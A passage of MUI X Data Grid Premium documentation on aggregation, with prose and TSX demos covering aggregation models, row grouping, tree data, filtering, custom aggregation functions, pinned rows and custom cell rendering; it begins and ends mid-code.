  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function AggregationControlled() {
  const data = useMovieData();

  const [aggregationModel, setAggregationModel] =
    React.useState<GridAggregationModel>({
      gross: 'sum',
    });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        aggregationModel={aggregationModel}
        onAggregationModelChange={(newModel) => setAggregationModel(newModel)}
      />
    </div>
  );
}

```

## Disabling aggregation

### For all columns

To disable aggregation, set the `disableAggregation` prop to `true`.
This will disable all features related to aggregation, even if a model is provided.

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function AggregationDisabled() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        disableAggregation
        initialState={{ aggregation: { model: { gross: 'sum' } } }}
      />
    </div>
  );
}

```

### For specific columns

To disable aggregation on a specific column, set the `aggregable` property on its column definition (`GridColDef`) to `false`.

In the example below, the **Year** column is not aggregable since its `aggregable` property is set to `false`.

```tsx
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  {
    field: 'title',
    headerName: 'Title',
    width: 200,
    groupable: false,
    aggregable: false,
  },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
  {
    field: 'year',
    headerName: 'Year',
    type: 'number',
    aggregable: false,
  },
];

export default function AggregationColDefAggregable() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
              gross: 'sum',
            },
          },
        }}
      />
    </div>
  );
}

```

## Aggregating non-aggregable columns

To apply aggregation programmatically on non-aggregable columns (columns with `aggregable: false` in the [column definition](/x/api/data-grid/grid-col-def/)), you can provide the aggregation model in one of the following ways:

- Pass `aggregation.model` to the `initialState` prop. This initializes aggregation with the provided model.
- Provide the `aggregationModel` prop. This controls aggregation with the provided model.
- Call the API method `setAggregationModel()`. This applies an aggregation with the provided model.

In the following demo, even though the **Year** column is not aggregable, it's still aggregated in read-only mode by providing an initial aggregation model as described above.

```tsx
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  {
    field: 'title',
    headerName: 'Title',
    width: 200,
    groupable: false,
    aggregable: false,
  },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
  {
    field: 'year',
    headerName: 'Year',
    type: 'number',
    aggregable: false,
  },
];

export default function AggregationColDefNonAggregable() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
              gross: 'sum',
              year: 'sum',
            },
          },
        }}
      />
    </div>
  );
}

```

## Usage with row grouping

When [row grouping](/x/react-data-grid/row-grouping/) is enabled, aggregated values can be displayed in the grouping rows as well as the top-level footer.

In the example below, the sum and the count of `true` values for each row group are aggregated and displayed in that group's row, while the total sum and count of `true` values for all rows are displayed in the footer.

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function AggregationRowGrouping() {
  const apiRef = useGridApiRef();

  const { data } = useDemoData({
    dataSet: 'Employee',
    visibleFields: ['country', 'name', 'salary', 'isAdmin'],
    rowLength: 10000,
  });

  console.log(data);

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      ...data.initialState,
      rowGrouping: {
        model: ['country'],
      },
      aggregation: {
        model: {
          salary: 'sum',
          isAdmin: 'sizeTrue',
        },
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        apiRef={apiRef}
        {...data}
        disableRowSelectionOnClick
        initialState={initialState}
        pagination
      />
    </div>
  );
}

```

You can use the `getAggregationPosition` prop to customize this behavior.
This function takes the current group node as an argument (or `null` for the root group) and returns the position of the aggregated value.
The position can be one of three values:

- `"footer"`—the Data Grid adds a footer to the group to aggregate its rows.
- `"inline"`—the Data Grid disables aggregation on the grouping row.
- `null`—the Data Grid doesn't aggregate the group.

The following snippets build on the demo above to show various use cases for the `getAggregationPosition` prop:

```tsx
// Aggregate the root group in the top-level footer
// and the other groups in their grouping row
// (default behavior)
getAggregationPosition={(groupNode) => (groupNode.depth === -1 ? 'footer' : 'inline')}

// Aggregate all the groups in their grouping row;
// the root will not be aggregated
getAggregationPosition={(groupNode) => groupNode == null ? null : 'inline'}

// Only aggregate the company groups in the grouping row;
// director groups and root will not be aggregated
getAggregationPosition={(groupNode) => groupNode?.groupingField === 'company' ? 'inline' : null}

// Only aggregate the company group "Universal Pictures" in the grouping row
getAggregationPosition={(groupNode) =>
(groupNode?.groupingField === 'company' &&
  groupNode?.groupingKey === 'Universal Pictures') ? 'inline' : null
}

// Only aggregate the root group in the top-level footer
getAggregationPosition={(groupNode) => groupNode == null ? 'footer' : null}
```

The demo below shows the sum aggregation in the footer of each group but not in the top-level footer:

```tsx
import {
  DataGridPremium,
  GridColDef,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'company',
    headerName: 'Company',
    width: 200,
  },
  {
    field: 'director',
    headerName: 'Director',
    width: 200,
  },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function AggregationGetAggregationPosition() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
      aggregation: {
        model: {
          gross: 'sum',
        },
      },
    },
  });

  return (
    <div style={{ height: 370, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        columns={COLUMNS}
        disableRowSelectionOnClick
        initialState={initialState}
        getAggregationPosition={(groupNode) =>
          groupNode.depth === -1 ? null : 'footer'
        }
      />
    </div>
  );
}

```

## Usage with tree data

When working with [tree data](/x/react-data-grid/tree-data/), aggregated values can be displayed in the footer and in grouping rows.

:::info
If an aggregated value is displayed in a grouping row, it always takes precedence over any existing row data.
This means that even if the dataset explicitly provides group values, they will be ignored in favor of the aggregated values calculated by the Data Grid.
:::

In the demo below, the max values of the **Last modification** column and the sums of the **Size** column values are displayed in both the grouping rows and the footer:

```tsx
import {
  DataGridPremium,
  GridColDef,
  GridRowsProp,
  DataGridPremiumProps,
  GridGroupingColDefOverride,
  isAutogeneratedRow,
} from '@mui/x-data-grid-premium';

interface File {
  hierarchy: string[];
  size?: number;
  updatedAt: string;
}

const rows: GridRowsProp<File> = [
  {
    hierarchy: ['.gitignore'],
    updatedAt: '2022-04-08T07:29:49.228Z',
  },
  {
    hierarchy: ['README.md'],
    size: 1671,
    updatedAt: '2022-04-11T08:05:44.590Z',
  },
  {
    hierarchy: ['next-env.d.ts'],
    size: 201,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['next.config.js'],
    size: 88,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['package.json'],
    size: 766,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['pages', '_app.tsx'],
    size: 1105,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['pages', '_document.tsx'],
    size: 2715,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['pages', 'about.tsx'],
    size: 1034,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['pages', 'index.tsx'],
    size: 911,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['public', 'favicon.ico'],
    size: 25931,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['src', 'Copyright.tsx'],
    size: 428,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['src', 'Link.tsx'],
    size: 2851,
    updatedAt: '2022-04-08T07:29:49.228Z',
  },
  {
    hierarchy: ['src', 'ProTip.tsx'],
    size: 927,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['src', 'createEmotionCache.ts'],
    size: 331,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['src', 'theme.ts'],
    size: 332,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
  {
    hierarchy: ['tsconfig.json'],
    size: 550,
    updatedAt: '2022-03-28T11:53:29.298Z',
  },
];

const columns: GridColDef<File>[] = [
  {
    field: 'size',
    headerName: 'Size',
    type: 'number',
    valueGetter: (value, row) => {
      if (value == null) {
        return isAutogeneratedRow(row) ? null : 0;
      }
      const sizeInKb = value / 1024;
      // Round to 2 decimal places
      return Math.round(sizeInKb * 100) / 100;
    },
    valueFormatter: (value) => `${Math.round(value * 100) / 100} Kb`,
  },
  {
    field: 'updatedAt',
    headerName: 'Last modification',
    type: 'dateTime',
    width: 200,
    valueGetter: (value) => {
      if (value == null) {
        return null;
      }

      return new Date(value);
    },
  },
];

const getTreeDataPath: DataGridPremiumProps<File>['getTreeDataPath'] = (row) =>
  row.hierarchy;

const getRowId: DataGridPremiumProps<File>['getRowId'] = (row) =>
  row.hierarchy.join('/');

const groupingColDef: GridGroupingColDefOverride<File> = {
  headerName: 'Files',
  width: 350,
};

export default function AggregationTreeData() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        treeData
        rows={rows}
        columns={columns}
        getTreeDataPath={getTreeDataPath}
        getRowId={getRowId}
        aggregationRowsScope="all"
        groupingColDef={groupingColDef}
        initialState={{
          aggregation: {
            model: {
              size: 'sum',
              updatedAt: 'max',
            },
          },
        }}
      />
    </div>
  );
}

```

## Filtering

By default, aggregation only uses filtered rows.
To use all rows, set the `aggregationRowsScope` prop to `"all"`.

In the example below, the movie _Avatar_ doesn't pass the filters but is still used for the max aggregation of the **Gross** column:

```tsx
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function AggregationFiltering() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
              gross: 'max',
            },
          },
          filter: {
            filterModel: {
              items: [{ field: 'title', operator: 'equals', value: 'Titanic' }],
            },
          },
        }}
        aggregationRowsScope="all"
      />
    </div>
  );
}

```

## Aggregation functions

### Basic structure

An aggregation function is an object that describes how to combine a given set of values.

```ts
const minAgg: GridAggregationFunction<number | Date> = {
  // Aggregates the `values` into a single value.
  apply: ({ values }) => Math.min(...values.filter((value) => value != null)),
  // This aggregation function is only compatible with numerical values.
  columnTypes: ['number'],
};
```

You can find full typing details in the [`GridAggregationFunction` API reference](/x/api/data-grid/grid-aggregation-function/).

### Built-in functions

The `@mui/x-data-grid-premium` package comes with a set of built-in aggregation functions to cover common use cases:

| Name          | Behavior                                                   | Supported column types       |
| :------------ | :--------------------------------------------------------- | :--------------------------- |
| `sum`         | Returns the sum of all values in the group                 | `number`                     |
| `avg`         | Returns the non-rounded average of all values in the group | `number`                     |
| `min`         | Returns the smallest value of the group                    | `number`, `date`, `dateTime` |
| `max`         | Returns the largest value of the group                     | `number`, `date`, `dateTime` |
| `size`        | Returns the number of cells in the group                   | all                          |
| `size(true)`  | Returns the number of cells with value `true`              | `boolean`                    |
| `size(false)` | Returns the number of cells with value `false`             | `boolean`                    |

### Removing a built-in function

#### From all columns

To remove specific aggregation functions from all columns, pass a filtered object to the `aggregationFunctions` prop.
In the example below, the sum function has been removed:

```tsx
import {
  DataGridPremium,
  GRID_AGGREGATION_FUNCTIONS,
  GridColDef,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function AggregationRemoveFunctionAllColumns() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        aggregationFunctions={Object.fromEntries(
          Object.entries(GRID_AGGREGATION_FUNCTIONS).filter(
            ([name]) => name !== 'sum',
          ),
        )}
        initialState={{
          aggregation: {
            model: {
              gross: 'max',
            },
          },
        }}
      />
    </div>
  );
}

```

#### From a specific column

To limit the aggregation options in a given column, pass the `availableAggregationFunctions` property to the column definition.
This lets you specify which options are available to the end user:

```ts
const column = {
  field: 'year',
  type: 'number',
  availableAggregationFunctions: ['max', 'min'],
};
```

In the example below, you can only aggregate the **Year** column using the max and min functions, whereas all functions are available for the **Gross** column:

```tsx
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
  {
    field: 'year',
    headerName: 'Year',
    type: 'number',
    availableAggregationFunctions: ['max', 'min'],
  },
];

export default function AggregationRemoveFunctionOneColumn() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
              year: 'max',
              gross: 'max',
            },
          },
        }}
      />
    </div>
  );
}

```

### Creating custom functions

An aggregation function is an object with the following shape:

```ts
const firstAlphabeticalAggregation: GridAggregationFunction<string, string | null> =
  {
    // The `apply` method takes the values to aggregate and returns the aggregated value
    apply: (params) => {
      if (params.values.length === 0) {
        return null;
      }

      const sortedValue = params.values.sort((a = '', b = '') => a.localeCompare(b));

      return sortedValue[0];
    },
    // The `label` property defines the label displayed in the column header
    // when this aggregation is being used.
    label: 'firstAlphabetical',
    // The `types` property defines which type of columns can use this aggregation function.
    // Here, we only want to propose this aggregation function for `string` columns.
    // If not defined, aggregation will be available for all column types.
    columnTypes: ['string'],
  };
```

To provide custom aggregation functions, pass them to the `aggregationFunctions` prop on the Data Grid Premium.
In the example below, the Grid has two custom functions for `string` columns: `firstAlphabetical` and `lastAlphabetical`:

```tsx
import {
  DataGridPremium,
  GRID_AGGREGATION_FUNCTIONS,
  GridAggregationFunction,
  GridColDef,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  {
    field: 'title',
    headerName: 'Title',
    width: 200,
    groupable: false,
    aggregable: false,
  },
  {
    field: 'director',
    headerName: 'Director',
    width: 200,
  },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

const firstAlphabeticalAggregation: GridAggregationFunction<string, string | null> =
  {
    apply: (params) => {
      if (params.values.length === 0) {
        return null;
      }

      const sortedValue = params.values.sort((a = '', b = '') => a.localeCompare(b));

      return sortedValue[0];
    },
    label: 'first alphabetical',
    columnTypes: ['string'],
  };

const lastAlphabeticalAggregation: GridAggregationFunction<string, string | null> = {
  apply: (params) => {
    if (params.values.length === 0) {
      return null;
    }

    const sortedValue = params.values.sort((a = '', b = '') => a.localeCompare(b));

    return sortedValue[sortedValue.length - 1];
  },
  label: 'last alphabetical',
  columnTypes: ['string'],
};

export default function AggregationCustomFunction() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        aggregationFunctions={{
          ...GRID_AGGREGATION_FUNCTIONS,
          firstAlphabetical: firstAlphabeticalAggregation,
          lastAlphabetical: lastAlphabeticalAggregation,
        }}
        initialState={{
          aggregation: {
            model: {
              director: 'firstAlphabetical',
            },
          },
        }}
      />
    </div>
  );
}

```

### Aggregating data from multiple row fields

By default, the `apply` method of the aggregation function receives an array of values that represent a single field value from each row.

In the example below, the sum function receives the values of the `gross` field.
The values in the `profit` column are derived from the `gross` and `budget` fields of the row:

```tsx
{
  field: 'profit',
  type: 'number',
  valueGetter: (value, row) => {
    if (!row.gross || !row.budget) {
      return null;
    }
    return (row.gross - row.budget) / row.budget;
  }
}
```

To aggregate the `profit` column, you would have to calculate the sum of the `gross` and `budget` fields separately, and then use the formula from the example above to calculate the aggregated `profit` value.
To do this, you can use the `getCellValue()` callback on the aggregation function to transform the data being passed to the `apply()` method:

```tsx
const profit: GridAggregationFunction<{ gross: number; budget: number }, number> = {
  label: 'profit',
  getCellValue: ({ row }) => ({ budget: row.budget, gross: row.gross }),
  apply: ({ values }) => {
    let budget = 0;
    let gross = 0;
    values.forEach((value) => {
      if (value) {
        gross += value.gross;
        budget += value.budget;
      }
    });
    return (gross - budget) / budget;
  },
  columnTypes: ['number'],
};
```

```tsx
import {
  DataGridPremium,
  GridAggregationFunction,
  GridColDef,
  GRID_AGGREGATION_FUNCTIONS,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData, Movie } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

function calculateProfit(gross: number, budget: number) {
  return (gross - budget) / budget;
}

const COLUMNS: GridColDef<Movie>[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'company',
    headerName: 'Company',
    width: 200,
  },
  {
    field: 'profit',
    headerName: 'Profit',
    type: 'number',
    width: 70,
    groupable: false,
    valueGetter: (value, row) => {
      if (!row.gross || !row.budget) {
        return null;
      }
      return calculateProfit(row.gross, row.budget);
    },
    valueFormatter: (value) => {
      if (!value) {
        return null;
      }
      return `${Math.round(value * 100)}%`;
    },
  },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    minWidth: 140,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
  {
    field: 'budget',
    headerName: 'Budget',
    type: 'number',
    minWidth: 140,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

const profit: GridAggregationFunction<{ gross: number; budget: number }, number> = {
  label: 'profit',
  getCellValue: ({ row }) => ({ budget: row.budget, gross: row.gross }),
  apply: ({ values }) => {
    let budget = 0;
    let gross = 0;
    values.forEach((value) => {
      if (value) {
        gross += value.gross;
        budget += value.budget;
      }
    });
    return calculateProfit(gross, budget);
  },
  columnTypes: ['number'],
};

export default function AggregationMultipleRowFields() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
      aggregation: {
        model: {
          gross: 'sum',
          budget: 'sum',
          profit: 'profit',
        },
      },
    },
  });

  return (
    <div style={{ height: 370, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        columns={COLUMNS}
        disableRowSelectionOnClick
        initialState={initialState}
        aggregationFunctions={{
          ...GRID_AGGREGATION_FUNCTIONS,
          profit,
        }}
      />
    </div>
  );
}

```

### Custom value formatter

By default, an aggregated cell uses the value formatter of its corresponding column.
But for some columns, the format of the aggregated value might differ from that of the column values.
You can provide a `valueFormatter()` method to the aggregation function to override the column's default formatting:

```ts
const aggregationFunction: GridAggregationFunction = {
  apply: () => {
    /* */
  },
  valueFormatter: (params) => {
    /* format the aggregated value */
  },
};
```

```tsx
import {
  DataGridPremium,
  GRID_AGGREGATION_FUNCTIONS,
  GridAggregationFunction,
  GridColDef,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'director',
    headerName: 'Director',
    width: 200,
  },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

const firstAlphabeticalAggregation: GridAggregationFunction<string, string | null> =
  {
    apply: (params) => {
      if (params.values.length === 0) {
        return null;
      }

      const sortedValue = params.values.sort((a = '', b = '') => a.localeCompare(b));

      return sortedValue[0];
    },
    label: 'first alphabetical',
    valueFormatter: (value) => `Agg: ${value}`,
    columnTypes: ['string'],
  };

export default function AggregationValueFormatter() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        aggregationFunctions={{
          ...GRID_AGGREGATION_FUNCTIONS,
          firstAlphabetical: firstAlphabeticalAggregation,
        }}
        initialState={{
          aggregation: {
            model: {
              director: 'firstAlphabetical',
            },
          },
        }}
      />
    </div>
  );
}

```

### Including pinned rows in the aggregation

By default, pinned rows are not included in the top-level aggregation calculation.
The demo below overrides the default aggregation functions to include values from the pinned rows in the top-level total aggreagation.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridColDef,
  GRID_AGGREGATION_FUNCTIONS,
  GridAggregationFunction,
  isAutogeneratedRow,
  gridColumnLookupSelector,
  GridRowEntry,
  GridInitialState,
  GRID_ROOT_GROUP_ID,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import { gridPinnedRowsSelector } from '@mui/x-data-grid/internals';
import { gridPivotActiveSelector } from '@mui/x-data-grid-pro/internals';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  { field: 'year', headerName: 'Year', width: 100, groupable: true },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

const getValuesFromRows = (
  rows: GridRowEntry[],
  aggregationFunction: GridAggregationFunction,
  field: GridColDef['field'],
  isPivotActive: boolean,
  valueGetter: (row: any) => any,
) => {
  const cellValues: any[] = [];
  rows.forEach((rowEntry) => {
    const row = rowEntry.model;
    if (isAutogeneratedRow(row)) {
      // Do not include the pinned aggregation row
      return;
    }
    if (!row) {
      return;
    }

    let value;
    if (typeof aggregationFunction.getCellValue === 'function') {
      value = aggregationFunction.getCellValue({ field, row });
    } else if (isPivotActive) {
      // Since we know that pivoted fields are flat, we can use the row directly, and save lots of processing time
      value = row[field];
    } else {
      value = valueGetter(row);
    }

    if (typeof value !== 'undefined') {
      cellValues.push(value);
    }
  });
  return cellValues;
};

const aggregationFunctionsWithPinnedRows: Record<string, GridAggregationFunction> =
  {};
Object.keys(GRID_AGGREGATION_FUNCTIONS).forEach((name) => {
  const aggFunc =
    GRID_AGGREGATION_FUNCTIONS[name as keyof typeof GRID_AGGREGATION_FUNCTIONS];
  const apply: GridAggregationFunction['apply'] = (params, api) => {
    if (params.groupId !== GRID_ROOT_GROUP_ID) {
      // Pinned rows can only impact top-level aggregation
      return aggFunc.apply(params);
    }
    if (!api) {
      return aggFunc.apply(params);
    }

    const apiRef = { current: api };
    const pinnedRows = gridPinnedRowsSelector(apiRef);
    if (pinnedRows.top.length === 0 && pinnedRows.bottom.length === 0) {
      return aggFunc.apply(params);
    }

    let values = params.values;

    const isPivotActive = gridPivotActiveSelector(apiRef);
    const columnsLookup = gridColumnLookupSelector(apiRef);
    const column = columnsLookup[params.field];
    const valueGetter = (row: any) => apiRef.current.getRowValue(row, column);

    if (pinnedRows.top) {
      const topCellValues = getValuesFromRows(
        pinnedRows.top,
        aggFunc,
        params.field,
        isPivotActive,
        valueGetter,
      );
      if (topCellValues.length > 0) {
        values = topCellValues.concat(values);
      }
    }

    if (pinnedRows.bottom) {
      const bottomCellValues = getValuesFromRows(
        pinnedRows.bottom,
        aggFunc,
        params.field,
        isPivotActive,
        valueGetter,
      );
      if (bottomCellValues.length > 0) {
        values = values.concat(bottomCellValues);
      }
    }

    return aggFunc.apply({ ...params, values });
  };

  aggregationFunctionsWithPinnedRows[name] = {
    ...aggFunc,
    apply,
  };
});

export default function AggregationPinnedRows() {
  const data = useMovieData();
  const [includePinnedRows, setIncludePinnedRows] = React.useState(true);

  const initialState = React.useMemo<GridInitialState>(() => {
    return {
      aggregation: {
        model: {
          gross: 'sum',
        },
      },
    };
  }, []);

  const { rows, topRows, bottomRows } = React.useMemo(() => {
    const nonPinnedRows = [...data.rows];
    return {
      topRows: [nonPinnedRows.shift()],
      rows: nonPinnedRows,
      bottomRows: [nonPinnedRows.pop()],
    };
  }, [data.rows]);

  return (
    <div style={{ width: '100%' }}>
      <FormControlLabel
        sx={{ ml: 0 }}
        control={
          <Checkbox
            checked={includePinnedRows}
            onChange={(ev) => setIncludePinnedRows(ev.target.checked)}
          />
        }
        label="Aggregate pinned rows"
      />
      <div style={{ height: 400 }}>
        <DataGridPremium
          rows={rows}
          columns={COLUMNS}
          initialState={initialState}
          pinnedRows={{
            top: topRows,
            bottom: bottomRows,
          }}
          aggregationFunctions={
            includePinnedRows
              ? aggregationFunctionsWithPinnedRows
              : GRID_AGGREGATION_FUNCTIONS
          }
        />
      </div>
    </div>
  );
}

```

## Custom rendering

If the column used to display aggregation has a `renderCell()` property, then the aggregated cell calls it with a `params.aggregation` object to let you decide how you want to render it.
This object contains a `hasCellUnit` property to indicate whether the current aggregation has the same unit as the rest of the column's data—for instance, if the column is in `$`, is the aggregated value is also in `$`?

In the example below, all the aggregation functions are rendered with the rating UI aside from `size`, because it's not a valid rating:

```tsx
import * as React from 'react';
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import Rating from '@mui/material/Rating';

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'imdbRating',
    headerName: 'Rating',
    type: 'number',
    width: 180,
    availableAggregationFunctions: ['min', 'max', 'avg', 'size'],
    display: 'flex',
    // Imdb rating is on a scale from 0 to 10, the MUI rating component is on a scale from 0 to 5
    renderCell: (params) => {
      if (params.aggregation && !params.aggregation.hasCellUnit) {
        return params.formattedValue;
      }

      return (
        <Rating
          name={params.row.title}
          value={params.value / 2}
          readOnly
          precision={0.5}
        />
      );
    },
  },
];

export default function AggregationRenderCell() {
  const data = useMovieData();

  // We take movies with the highest and lowest rating to have a visual difference
  const rows = React.useMemo(() => {
    return [...data.rows].sort((a, b) => b.imdbRating - a.imdbRating);
  }, [data.rows]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
